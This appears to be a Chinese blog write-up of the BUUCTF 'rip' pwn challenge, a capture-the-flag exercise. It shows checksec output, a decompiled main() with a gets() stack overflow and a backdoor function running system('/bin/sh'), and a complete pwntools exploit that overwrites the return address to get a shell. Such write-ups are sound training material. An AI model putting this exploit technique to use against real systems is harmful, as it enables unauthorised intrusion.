

[BUU-WriteUp]rip

原创

m0sway 于 2022-02-25 10:53:18 发布 4736 收藏

分类专栏: [BUU-WP](#) 文章标签: [wp](#) [网络安全](#) [pwn](#) [信息安全](#) [python](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/m0sway/article/details/123128113>

版权



[BUU-WP](#) 专栏收录该内容

57 篇文章 0 订阅

订阅专栏

rip

使用 [checksec](#) 查看:

```
# m0sway @ pro in ~/PWN/BUU [10:42:51] C:130
$ checksec rip
[*] '/home/m0sway/PWN/BUU/rip'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
CSDN @m0sway
```

保护措施全部关闭。

放进IDA中分析:

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    char s; // [rsp+1h] [rbp-Fh]

    puts("please input");
    gets(&s, argv);
    puts(&s);
    puts("ok,bye!!!");
    return 0;
}
```

CSDN @m0sway

- [gets\(\)](#): 存在栈溢出

```
fun() :
```

```
int fun()  
{  
    return system("/bin/sh");  
}
```

- 存在后门函数

步骤解析

s 距离 rbp 0xF，无canary，直接覆盖即可

完整exp

```
from pwn import *  
  
p = process("../buu/rip")  
# p = remote("node4.buuoj.cn", 27965)  
  
elf = ELF("../buu/rip")  
fun_addr = elf.symbols['fun']  
payload = b'M' * (0xF + 8) + p64(fun_addr-1) + p64(fun_addr)  
p.sendline(payload)  
  
p.interactive()
```